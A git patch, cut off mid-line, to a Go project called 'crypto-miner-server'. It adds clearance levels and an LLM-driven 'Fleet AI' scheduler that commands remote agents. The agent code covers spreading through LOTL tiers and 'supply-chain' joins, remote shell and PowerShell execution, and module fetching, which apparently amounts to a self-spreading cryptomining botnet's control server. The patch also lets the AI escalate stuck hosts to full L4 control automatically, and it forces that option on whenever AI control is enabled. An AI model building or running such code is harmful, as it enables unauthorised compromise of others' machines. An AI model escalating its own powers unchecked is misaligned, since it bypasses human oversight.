From f89ba94cb7da6279b5f3798761ab85581c03b469 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 02:30:00 -0700 Subject: [PATCH] Add L0-L4 security clearance for fleet commands and AI elevation. Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline. --- agent/client/ai_snapshot.go | 13 ++ agent/client/client.go | 23 +++ server/internal/ai/scheduler.go | 109 +++++++++++--- server/internal/ai/scheduler_test.go | 74 +++++++++- server/internal/ai/types.go | 17 ++- server/internal/api/clearance.go | 146 +++++++++++++++++++ server/internal/api/fleet_ai_bridge.go | 111 ++++++++++++-- server/internal/api/fleet_ai_handler.go | 30 ++++ server/internal/api/fleet_handler.go | 25 ++++ server/internal/clearance/clearance_test.go | 46 ++++++ server/internal/clearance/default.go | 12 ++ server/internal/clearance/elevation.go | 42 ++++++ server/internal/clearance/levels.go | 114 +++++++++++++++ server/internal/db/clearance.go | 100 +++++++++++++ server/main.go | 24 ++- server/web/src/api/client.ts | 8 + server/web/src/context/WebSocketProvider.tsx | 15 ++ server/web/src/help/clearance.test.ts | 28 ++++ server/web/src/help/clearance.ts | 58 ++++++++ server/web/src/help/wsStatsCoalesce.ts | 1 + server/web/src/types/index.ts | 2 + 21 files changed, 952 insertions(+), 46 deletions(-) create mode 100644 server/internal/api/clearance.go create mode 100644 server/internal/clearance/clearance_test.go create mode 100644 server/internal/clearance/default.go create mode 100644 server/internal/clearance/elevation.go create mode 100644 server/internal/clearance/levels.go create mode 100644 server/internal/db/clearance.go create mode 100644 server/web/src/help/clearance.test.ts create mode 100644 server/web/src/help/clearance.ts diff --git a/agent/client/ai_snapshot.go b/agent/client/ai_snapshot.go index 89fc0ff..373f631 100644 --- a/agent/client/ai_snapshot.go +++ b/agent/client/ai_snapshot.go @@ -78,6 +78,9 @@ type AISnapshot struct { Capabilities AICapabilitiesSnapshot `json:"capabilities"` Stuck bool `json:"stuck"` + ClearanceLevel int `json:"clearance_level,omitempty"` + AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` + InheritedPhenotype *InheritedPhenotype `json:"inherited_phenotype,omitempty"` VulnRiskScore *int `json:"vuln_risk_score,omitempty"` AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"` @@ -137,6 +140,16 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot { Capabilities: buildAICapabilities(cfg, deployOrder, miningChain), ChainExhausted: ms.ChainExhausted, } + c.mu.Lock() + snap.ClearanceLevel = c.clearanceLevel + if len(c.atlasSkips) > 0 { + snap.AtlasSkips = c.atlasSkipsSnapshot() + } + if c.inheritedPhenotype != nil { + copy := *c.inheritedPhenotype + snap.InheritedPhenotype = © + } + c.mu.Unlock() snap.Stuck = aiSnapshotStuck(snap, ms) if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 { diff --git a/agent/client/client.go b/agent/client/client.go index 00e145a..9c7c24f 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -64,11 +64,17 @@ type AgentClient struct { tierPolicy miner.MiningTierPolicy // adaptiveStrategy holds server reasoning trace for diagnostics/UI. adaptiveStrategy AdaptiveStrategy + // atlasSkips are fleet-learned hard subtree blocks from the failure atlas. + atlasSkips []AtlasSkip + // inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics). + inheritedPhenotype *InheritedPhenotype // triplePolicy is server-pulled recon → deploy → mining gate policy. triplePolicy miner.TripleOnionPolicy triplePolicyLoaded bool // joinLane is the last successful discover_and_join supply-chain lane. joinLane string + // clearanceLevel is the server-granted security clearance (L0–L4). + clearanceLevel int // lastJobAt records when the most recent valid mining job was delivered. // The Stratum fallback manager uses this to detect "connected but jobless" @@ -384,6 +390,11 @@ func (c *AgentClient) authenticate() error { } c.applyAuthLotlPolicy(resp) c.agentID = resp.AgentID + if resp.ClearanceLevel > 0 { + c.mu.Lock() + c.clearanceLevel = resp.ClearanceLevel + c.mu.Unlock() + } if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 { c.mu.Lock() c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers) @@ -488,6 +499,15 @@ func (c *AgentClient) handleMessage(msg Message) { hps := c.pool.HashesPerSecond() c.pushAISnapshot(hps) }() + case "clearance_update": + var payload struct { + ClearanceLevel int `json:"clearance_level"` + } + if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 { + c.mu.Lock() + c.clearanceLevel = payload.ClearanceLevel + c.mu.Unlock() + } case "command": var cmd struct { Action string `json:"action"` @@ -1130,6 +1150,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.StratumEgress = c.stratumEgress(false) } stats.MiningHashrate = avg15s + stats.GPUHashrate15s + if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 { + stats.AtlasSkips = atlasSkips + } if lastVulnReport != nil { score := lastVulnReport.RiskScore stats.VulnRiskScore = &score diff --git a/server/internal/ai/scheduler.go b/server/internal/ai/scheduler.go index 836df45..b6a07b8 100644 --- a/server/internal/ai/scheduler.go +++ b/server/internal/ai/scheduler.go @@ -7,6 +7,9 @@ import ( "log" "sync" "time" + + "crypto-miner-server/internal/clearance" + "crypto-miner-server/internal/strategy" ) // SnapshotProvider supplies live agent telemetry for decision cycles. @@ -27,30 +30,40 @@ type ConfigProvider interface { // DecisionStore persists decision audit rows. type DecisionStore interface { - InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error + InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *CourtDecisionMeta) error +} + +// ClearanceElevator raises agent clearance for stuck-host recovery. +type ClearanceElevator interface { + Level(agentID string) int + RequestElevation(agentID string, toLevel int, reason, source string) (int, error) } // Scheduler runs periodic LLM decisions for online agents. type Scheduler struct { - cfg ConfigProvider - snap SnapshotProvider - exec CommandExecutor - store DecisionStore - stop chan struct{} - wg sync.WaitGroup + cfg ConfigProvider + snap SnapshotProvider + exec CommandExecutor + store DecisionStore + court CourtContext + elevator ClearanceElevator + stop chan struct{} + wg sync.WaitGroup lastRunMu sync.Mutex lastRun map[string]time.Time } -func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore) *Scheduler { +func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore, court CourtContext, elevator ClearanceElevator) *Scheduler { return &Scheduler{ - cfg: cfg, - snap: snap, - exec: exec, - store: store, - stop: make(chan struct{}), - lastRun: make(map[string]time.Time), + cfg: cfg, + snap: snap, + exec: exec, + store: store, + court: court, + elevator: elevator, + stop: make(chan struct{}), + lastRun: make(map[string]time.Time), } } @@ -83,6 +96,16 @@ func (s *Scheduler) Tick() { s.tick() } +// ResetLastRunForTest backs up lastRun so the next Tick runs immediately (tests only). +func (s *Scheduler) ResetLastRunForTest(agentID string, ago time.Duration) { + s.lastRunMu.Lock() + defer s.lastRunMu.Unlock() + if s.lastRun == nil { + s.lastRun = make(map[string]time.Time) + } + s.lastRun[agentID] = time.Now().Add(-ago) +} + func (s *Scheduler) tick() { if s.cfg == nil || s.snap == nil { return @@ -129,9 +152,37 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { if !ok { return } - userPrompt := BuildUserPrompt(snap) - systemPrompt := SystemPrompt() - promptHash := hashPrompt(userPrompt) + s.maybeAutoElevate(agentID, snap, cfg) + if s.elevator != nil { + snap.ClearanceLevel = s.elevator.Level(agentID) + } + var systemPrompt, userPrompt string + var courtMeta *CourtDecisionMeta + useCourt := ShouldUseCourt(snap) + if useCourt { + atlasSummary := "" + var phenotype *strategy.FleetPhenotype + if s.court != nil { + goos := firstNonEmpty(snap.GOOS, snap.Platform) + atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos) + if p, ok := s.court.BestPhenotype(snap.FingerprintKey, goos); ok { + phenotype = p + } + } + persona := NormalizePersona(cfg.Persona) + bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona) + systemPrompt = bundle.SystemPrompt + userPrompt = bundle.UserPrompt + courtMeta = &CourtDecisionMeta{ + CourtSession: true, + ProsecutorSnippet: bundle.ProsecutorSnippet, + DefenderSnippet: bundle.DefenderSnippet, + } + } else { + systemPrompt = PersonaSystemPrompt(cfg.Persona) + userPrompt = BuildMissionPrompt(snap) + } + promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt) decide := Decide if DecideFunc != nil { @@ -141,12 +192,15 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { if err != nil { log.Printf("[fleet-ai] agent %s decide: %v", agentID, err) if s.store != nil { - _ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error()) + _ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta) } s.markRun(agentID) return } + if courtMeta != nil { + courtMeta.JudgeVerdict = ExtractJudgeVerdict(response) + } cmds := ParseCommands(response) results := make([]string, 0, len(cmds)) for _, cmd := range cmds { @@ -167,11 +221,28 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) { } executed := FormatExecuted(cmds, results) if s.store != nil { - _ = s.store.InsertAIDecision(agentID, promptHash, response, executed) + _ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta) } s.markRun(agentID) } +const stuckHostFailedTierThreshold = 14 + +func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) { + if !cfg.AutoElevateClearance || s.elevator == nil { + return + } + if !snap.Stuck || snap.FailedTierCount < stuckHostFailedTierThreshold { + return + } + if s.elevator.Level(agentID) >= clearance.L4 { + return + } + if _, err := s.elevator.RequestElevation(agentID, clearance.L4, "stuck host recovery", "ai_scheduler"); err != nil { + log.Printf("[fleet-ai] agent %s clearance elevation: %v", agentID, err) + } +} + func hashPrompt(prompt string) string { h := sha256.Sum256([]byte(prompt)) return hex.EncodeToString(h[:8]) diff --git a/server/internal/ai/scheduler_test.go b/server/internal/ai/scheduler_test.go index 61bd389..abccc60 100644 --- a/server/internal/ai/scheduler_test.go +++ b/server/internal/ai/scheduler_test.go @@ -5,6 +5,8 @@ import ( "sync" "testing" "time" + + "crypto-miner-server/internal/clearance" ) type mockSnap struct { @@ -38,7 +40,7 @@ type mockStore struct { rows []string } -func (m *mockStore) InsertAIDecision(_, _, _, executed string) error { +func (m *mockStore) InsertAIDecision(_, _, _, executed string, _ *CourtDecisionMeta) error { m.mu.Lock() m.rows = append(m.rows, executed) m.mu.Unlock() @@ -59,6 +61,8 @@ func TestSchedulerExecutesRestartCommand(t *testing.T) { &mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}}, exec, store, + nil, + nil, ) sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute) sched.Tick() @@ -84,9 +88,77 @@ func TestSchedulerNoOpWhenDisabled(t *testing.T) { &mockSnap{ids: []string{"agent-1"}}, exec, nil, + nil, + nil, ) sched.Tick() if len(exec.calls) != 0 { t.Fatalf("expected no calls") } } + +type mockElevator struct { + mu sync.Mutex + requests []struct { + agentID string + toLevel int + reason string + source string + } + level int +} + +func (m *mockElevator) Level(string) int { + if m.level > 0 { + return m.level + } + return clearance.L1 +} + +func (m *mockElevator) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) { + m.mu.Lock() + defer m.mu.Unlock() + m.requests = append(m.requests, struct { + agentID string + toLevel int + reason string + source string + }{agentID, toLevel, reason, source}) + m.level = toLevel + return toLevel, nil +} + +func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) { + old := DecideFunc + defer func() { DecideFunc = old }() + DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) { + return `{"commands":[{"type":"noop","args":{}}]}`, nil + } + + elevator := &mockElevator{} + sched := NewScheduler( + &mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1, AutoElevateClearance: true}}, + &mockSnap{ + ids: []string{"stuck-1"}, + snap: AgentSnapshot{ + AgentID: "stuck-1", Name: "host", Stuck: true, FailedTierCount: 14, + }, + }, + &mockExec{}, + &mockStore{}, + nil, + elevator, + ) + sched.lastRun["stuck-1"] = time.Now().Add(-2 * time.Minute) + sched.Tick() + + elevator.mu.Lock() + defer elevator.mu.Unlock() + if len(elevator.requests) != 1 { + t.Fatalf("expected 1 elevation, got %+v", elevator.requests) + } + req := elevator.requests[0] + if req.toLevel != clearance.L4 || req.reason != "stuck host recovery" { + t.Fatalf("unexpected elevation: %+v", req) + } +} diff --git a/server/internal/ai/types.go b/server/internal/ai/types.go index 4f38f4d..f9d7ead 100644 --- a/server/internal/ai/types.go +++ b/server/internal/ai/types.go @@ -33,6 +33,11 @@ type AgentSnapshot struct { SpreadState string VulnRisk *int + Stuck bool + FailedTierCount int + ClearanceLevel int + FingerprintKey string + AdaptiveSummary string Adaptive *strategy.AdaptiveStrategy } @@ -45,11 +50,13 @@ type Command struct { // Config holds runtime Fleet AI Control settings. type Config struct { - Enabled bool - Endpoint string - Model string - NoContext bool - IntervalSec int + Enabled bool + Endpoint string + Model string + NoContext bool + IntervalSec int + AutoElevateClearance bool + Persona string } // DecisionRecord is persisted for the UI timeline. diff --git a/server/internal/api/clearance.go b/server/internal/api/clearance.go new file mode 100644 index 0000000..be398e3 --- /dev/null +++ b/server/internal/api/clearance.go @@ -0,0 +1,146 @@ +package api + +import ( + "fmt" + "sync" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/clearance" + "crypto-miner-server/internal/models" +) + +const stuckHostFailedTierThreshold = 14 + +// ClearanceManager returns the hub's session clearance tracker. +func (h *WSHub) ClearanceManager() *ClearanceManager { + if h == nil { + return nil + } + return h.clearance +} + +// ClearanceManager tracks per-agent session clearance and broadcasts changes. +type ClearanceManager struct { + hub *WSHub + mu sync.RWMutex + // agentClearance holds live session clearance keyed by agent ID. + agentClearance map[string]int +} + +func NewClearanceManager(hub *WSHub) *ClearanceManager { + return &ClearanceManager{ + hub: hub, + agentClearance: make(map[string]int), + } +} + +// InitAgent sets baseline clearance when an agent connects. +func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int { + if m == nil { + return clearance.DefaultClearance(agent) + } + level := clearance.DefaultClearance(agent) + m.mu.Lock() + m.agentClearance[agentID] = level + m.mu.Unlock() + m.pushToAgent(agentID, level) + return level +} + +// RemoveAgent drops session clearance state. +func (m *ClearanceManager) RemoveAgent(agentID string) { + if m == nil { + return + } + m.mu.Lock() + delete(m.agentClearance, agentID) + m.mu.Unlock() +} + +// Level returns the current session clearance for an agent. +func (m *ClearanceManager) Level(agentID string) int { + if m == nil { + return clearance.L0 + } + m.mu.RLock() + level, ok := m.agentClearance[agentID] + m.mu.RUnlock() + if ok { + return level + } + if m.hub != nil && m.hub.db != nil { + if agent, err := m.hub.db.GetAgent(agentID); err == nil && agent != nil { + return clearance.DefaultClearance(agent) + } + } + return clearance.L0 +} + +// RequestElevation raises clearance when needed and notifies dashboards. +func (m *ClearanceManager) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) { + if m == nil { + return clearance.L0, nil + } + current := m.Level(agentID) + newLevel, err := clearance.RequestElevation(m.hub.db, agentID, current, toLevel, reason, source) + if err != nil { + return current, err + } + if newLevel <= current { + return current, nil + } + m.mu.Lock() + m.agentClearance[agentID] = newLevel + m.mu.Unlock() + m.pushToAgent(agentID, newLevel) + m.broadcastElevation(agentID, current, newLevel, reason, source) + return newLevel, nil +} + +func (m *ClearanceManager) pushToAgent(agentID string, level int) { + if m == nil || m.hub == nil { + return + } + _ = m.hub.SendToAgent(agentID, Message{ + Type: "clearance_update", + Payload: mustMarshal(map[string]interface{}{ + "clearance_level": level, + }), + }) +} + +func (m *ClearanceManager) broadcastElevation(agentID string, fromLevel, toLevel int, reason, source string) { + if m == nil || m.hub == nil { + return + } + m.hub.broadcastDashboard(Message{ + Type: "clearance_elevated", + Payload: mustMarshal(map[string]interface{}{ + "agent_id": agentID, + "from_level": fromLevel, + "to_level": toLevel, + "reason": reason, + "source": source, + }), + }) +} + +// ClearanceGuardExecutor wraps FleetAIExecutor with clearance enforcement. +type ClearanceGuardExecutor struct { + Inner *FleetAIExecutor + Clearance *ClearanceManager +} + +func (e *ClearanceGuardExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) { + if e == nil || e.Inner == nil { + return "", fmt.Errorf("executor unavailable") + } + level := clearance.L0 + if e.Clearance != nil { + level = e.Clearance.Level(agentID) + } + if err := clearance.EnforceClearance(cmd.Type, cmd.Args, level); err != nil { + return "", err + } + return e.Inner.Execute(agentID, cmd) +} diff --git a/server/internal/api/fleet_ai_bridge.go b/server/internal/api/fleet_ai_bridge.go index 9b35535..4e342e0 100644 --- a/server/internal/api/fleet_ai_bridge.go +++ b/server/internal/api/fleet_ai_bridge.go @@ -6,17 +6,20 @@ import ( "strings" fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/strategy" ) // FleetAIConfigView is the Calibrate subset for Fleet AI Control. type FleetAIConfigView struct { - AIControlEnabled bool `json:"ai_control_enabled"` - AIEndpoint string `json:"ai_endpoint"` - AIModel string `json:"ai_model"` - AINoContext bool `json:"ai_no_context"` - AIDecisionIntervalSec int `json:"ai_decision_interval_sec"` + AIControlEnabled bool `json:"ai_control_enabled"` + AIEndpoint string `json:"ai_endpoint"` + AIModel string `json:"ai_model"` + AINoContext bool `json:"ai_no_context"` + AIDecisionIntervalSec int `json:"ai_decision_interval_sec"` + AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"` + AIPersona string `json:"ai_persona"` } // FleetAIConfigSource reads/writes Fleet AI settings from server config. @@ -69,6 +72,15 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) { h.mu.RUnlock() snap.SpreadState = describeSpreadState(agent, snap.Capabilities) + if engine != nil { + fp := engine.AgentFingerprint(agentID) + if fp.GOOS == "" { + fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain) + } + snap.FingerprintKey = fp.Key() + } + snap.Stuck = fleetai.ComputeStuck(snap) + snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts) if engine != nil && !aiMode { fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain) adaptive := engine.StrategyForAgent(agentID, fp) @@ -148,6 +160,74 @@ func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]inte n := int(v) snap.VulnRisk = &n } + if v, ok := tel["stuck"].(bool); ok { + snap.Stuck = v + } +} + +func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int { + attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts)) + for _, a := range attempts { + attemptByTier[a.Tier] = a + } + failed := 0 + for _, tier := range fleetai.DefaultSpreadTiers() { + if a, ok := attemptByTier[tier]; ok && !a.OK { + failed++ + } + } + return failed +} + +// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions. +type DatabaseCourtAdapter struct { + DB interface { + FailureAtlasSummary(fingerprintKey, goos string) (string, error) + GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error) + ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error) + } +} + +func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string { + if a == nil || a.DB == nil { + return "" + } + summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos) + if err != nil { + return "" + } + return summary +} + +func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) { + if a == nil || a.DB == nil { + return nil, false + } + stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey) + if err == nil && stored != nil { + p := strategy.PhenotypeFromStored(*stored) + return &p, true + } + rows, err := a.DB.ListFleetPhenotypes("") + if err != nil || len(rows) == 0 || goos == "" { + return nil, false + } + prefix := goos + "|" + var best *db.StoredPhenotype + for i := range rows { + row := &rows[i] + if !strings.HasPrefix(row.Fingerprint, prefix) { + continue + } + if best == nil || row.PeakHashrate > best.PeakHashrate { + best = row + } + } + if best == nil { + return nil, false + } + p := strategy.PhenotypeFromStored(*best) + return &p, true } // FleetAIExecutor dispatches parsed LLM commands via existing WS command paths. @@ -321,24 +401,29 @@ func (a *ConfigAIAdapter) AIConfig() fleetai.Config { endpoint = "http://127.0.0.1:11434/v1" } return fleetai.Config{ - Enabled: v.AIControlEnabled, - Endpoint: endpoint, - Model: strings.TrimSpace(v.AIModel), - NoContext: v.AINoContext, - IntervalSec: interval, + Enabled: v.AIControlEnabled, + Endpoint: endpoint, + Model: strings.TrimSpace(v.AIModel), + NoContext: v.AINoContext, + IntervalSec: interval, + AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled, + Persona: fleetai.NormalizePersona(v.AIPersona), } } // DatabaseAIDecisionStore wraps db for InsertAIDecision. type DatabaseAIDecisionStore struct { DB interface { - InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error + InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error } } -func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error { +func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error { if s == nil || s.DB == nil { return nil } - return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted) + if court == nil { + return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "") + } + return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict) } diff --git a/server/internal/api/fleet_ai_handler.go b/server/internal/api/fleet_ai_handler.go index 09e0026..5181338 100644 --- a/server/internal/api/fleet_ai_handler.go +++ b/server/internal/api/fleet_ai_handler.go @@ -88,3 +88,33 @@ func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) { } writeJSON(w, rows) } + +func (h *FleetAIHandler) GetClearanceEvents(w http.ResponseWriter, r *http.Request) { + if h.db == nil { + writeJSON(w, []db.ClearanceEvent{}) + return + } + listFn, ok := h.db.(interface { + ListClearanceEvents(agentID string, limit int) ([]db.ClearanceEvent, error) + }) + if !ok { + writeJSON(w, []db.ClearanceEvent{}) + return + } + agentID := strings.TrimSpace(r.URL.Query().Get("agent_id")) + limit := 50 + if raw := r.URL.Query().Get("limit"); raw != "" { + if n, err := strconv.Atoi(raw); err == nil && n > 0 { + limit = n + } + } + rows, err := listFn.ListClearanceEvents(agentID, limit) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + if rows == nil { + rows = []db.ClearanceEvent{} + } + writeJSON(w, rows) +} diff --git a/server/internal/api/fleet_handler.go b/server/internal/api/fleet_handler.go index 00456bb..874808d 100644 --- a/server/internal/api/fleet_handler.go +++ b/server/internal/api/fleet_handler.go @@ -16,6 +16,7 @@ import ( "time" "crypto-miner-server/internal/alerts" + "crypto-miner-server/internal/clearance" "crypto-miner-server/internal/db" "crypto-miner-server/internal/pool" @@ -385,6 +386,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable) return } + if id != "all" { + level := clearance.L0 + if mgr := f.ws.ClearanceManager(); mgr != nil { + level = mgr.Level(id) + } + if err := clearance.EnforceAction(req.Action, level); err != nil { + writeJSON(w, map[string]interface{}{ + "success": false, + "error": err.Error(), + "agent_id": id, + "action": req.Action, + }) + return + } + } args := map[string]interface{}{} if req.TailLines > 0 { args["tail_lines"] = req.TailLines @@ -599,7 +615,16 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) { sent := 0 failed := 0 + mgr := f.ws.ClearanceManager() for _, id := range req.AgentIDs { + level := clearance.L0 + if mgr != nil { + level = mgr.Level(id) + } + if err := clearance.EnforceAction(req.Action, level); err != nil { + failed++ + continue + } if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { failed++ } else { diff --git a/server/internal/clearance/clearance_test.go b/server/internal/clearance/clearance_test.go new file mode 100644 index 0000000..8d9525a --- /dev/null +++ b/server/internal/clearance/clearance_test.go @@ -0,0 +1,46 @@ +package clearance + +import ( + "testing" +) + +func TestL2AgentCannotExecShellWithoutElevation(t *testing.T) { + const agentClearance = L2 + + cases := []struct { + cmdType string + args map[string]interface{} + }{ + {"exec_shell", nil}, + {"agent_command", map[string]interface{}{"action": "exec"}}, + {"agent_command", map[string]interface{}{"action": "powershell"}}, + } + + for _, tc := range cases { + if err := EnforceClearance(tc.cmdType, tc.args, agentClearance); err == nil { + t.Fatalf("expected clearance error for %s %+v at L2", tc.cmdType, tc.args) + } + } + + if err := EnforceClearance("discover_and_join", nil, agentClearance); err != nil { + t.Fatalf("L2 should allow spread: %v", err) + } + if err := EnforceAction("exec", agentClearance); err == nil { + t.Fatal("L2 should block exec action") + } + if err := EnforceAction("pause", agentClearance); err != nil { + t.Fatalf("L2 should allow pause: %v", err) + } +} + +func TestCommandRequiredLevels(t *testing.T) { + if CommandRequiredLevel("restart_mining", nil) != L1 { + t.Fatal("restart_mining should be L1") + } + if CommandRequiredLevel("spread_now", nil) != L2 { + t.Fatal("spread_now should be L2") + } + if CommandRequiredLevel("set_agent_version", nil) != L4 { + t.Fatal("set_agent_version should be L4") + } +} diff --git a/server/internal/clearance/default.go b/server/internal/clearance/default.go new file mode 100644 index 0000000..a7abb7f --- /dev/null +++ b/server/internal/clearance/default.go @@ -0,0 +1,12 @@ +package clearance + +import "crypto-miner-server/internal/models" + +// DefaultClearance returns the baseline clearance for an agent. +// Online agents start at L1 (mining commands); offline agents are L0 (read-only). +func DefaultClearance(agent *models.Agent) int { + if agent != nil && agent.Status == "online" { + return L1 + } + return L0 +} diff --git a/server/internal/clearance/elevation.go b/server/internal/clearance/elevation.go new file mode 100644 index 0000000..69e9ebb --- /dev/null +++ b/server/internal/clearance/elevation.go @@ -0,0 +1,42 @@ +package clearance + +import ( + "fmt" + "strings" +) + +// EventStore persists clearance changes and audit rows. +type EventStore interface { + InsertClearanceEvent(agentID string, fromLevel, toLevel int, reason, source string) error +} + +// RequestElevation raises an agent to toLevel when higher than current, logs the event, and returns the new level. +func RequestElevation(store EventStore, agentID string, currentLevel, toLevel int, reason, source string) (int, error) { + agentID = strings.TrimSpace(agentID) + if agentID == "" { + return currentLevel, fmt.Errorf("agent id required") + } + if toLevel < L0 { + toLevel = L0 + } + if toLevel > L4 { + toLevel = L4 + } + if toLevel <= currentLevel { + return currentLevel, nil + } + reason = strings.TrimSpace(reason) + if reason == "" { + reason = "elevation requested" + } + source = strings.TrimSpace(source) + if source == "" { + source = "system" + } + if store != nil { + if err := store.InsertClearanceEvent(agentID, currentLevel, toLevel, reason, source); err != nil { + return currentLevel, err + } + } + return toLevel, nil +} diff --git a/server/internal/clearance/levels.go b/server/internal/clearance/levels.go new file mode 100644 index 0000000..08b8154 --- /dev/null +++ b/server/internal/clearance/levels.go @@ -0,0 +1,114 @@ +package clearance + +import ( + "fmt" + "strings" +) + +// Security clearance levels (L0–L4). +const ( + L0 = 0 // stats / read-only + L1 = 1 // mining commands + L2 = 2 // spread + L3 = 3 // shell + L4 = 4 // forge / version +) + +// LevelLabel returns the badge string for a clearance level. +func LevelLabel(level int) string { + if level < L0 { + level = L0 + } + if level > L4 { + level = L4 + } + return fmt.Sprintf("L%d", level) +} + +// LevelPermissions describes what each level allows (UI tooltips). +func LevelPermissions(level int) string { + switch level { + case L0: + return "stats and read-only probes" + case L1: + return "mining: pause, resume, restart" + case L2: + return "spread: discover_and_join, spread_now, stage_fetch" + case L3: + return "shell: exec_shell, agent_command" + case L4: + return "forge: set_agent_version, reorder_tiers fleet-wide" + default: + return "unknown clearance" + } +} + +// ActionRequiredLevel maps a remote agent action to the minimum clearance level. +func ActionRequiredLevel(action string) int { + switch normalizeKey(action) { + case "pause", "resume", "restart", "restart_mining", "start_mining", "stop": + return L1 + case "discover_and_join", "spread_now", "stage_fetch": + return L2 + case "exec", "exec_shell", "powershell", "agent_command": + return L3 + case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update": + return L4 + default: + return L0 + } +} + +// CommandRequiredLevel maps a fleet AI command type to the minimum clearance level. +func CommandRequiredLevel(cmdType string, args map[string]interface{}) int { + typ := normalizeKey(cmdType) + switch typ { + case "noop", "": + return L0 + case "restart_mining": + return L1 + case "discover_and_join", "spread_now", "stage_fetch": + return L2 + case "agent_command": + if args != nil { + if action, ok := args["action"].(string); ok && action != "" { + return ActionRequiredLevel(action) + } + } + return L3 + case "bulk_command": + if args != nil { + if action, ok := args["action"].(string); ok && action != "" { + return ActionRequiredLevel(action) + } + } + return L1 + case "set_agent_version", "reorder_tiers": + return L4 + default: + return ActionRequiredLevel(typ) + } +} + +// EnforceClearance returns an error when agentClearance is below the command requirement. +func EnforceClearance(cmdType string, args map[string]interface{}, agentClearance int) error { + required := CommandRequiredLevel(cmdType, args) + if agentClearance >= required { + return nil + } + return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), cmdType, LevelLabel(required)) +} + +// EnforceAction is the manual API path for raw agent actions. +func EnforceAction(action string, agentClearance int) error { + required := ActionRequiredLevel(action) + if agentClearance >= required { + return nil + } + return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), action, 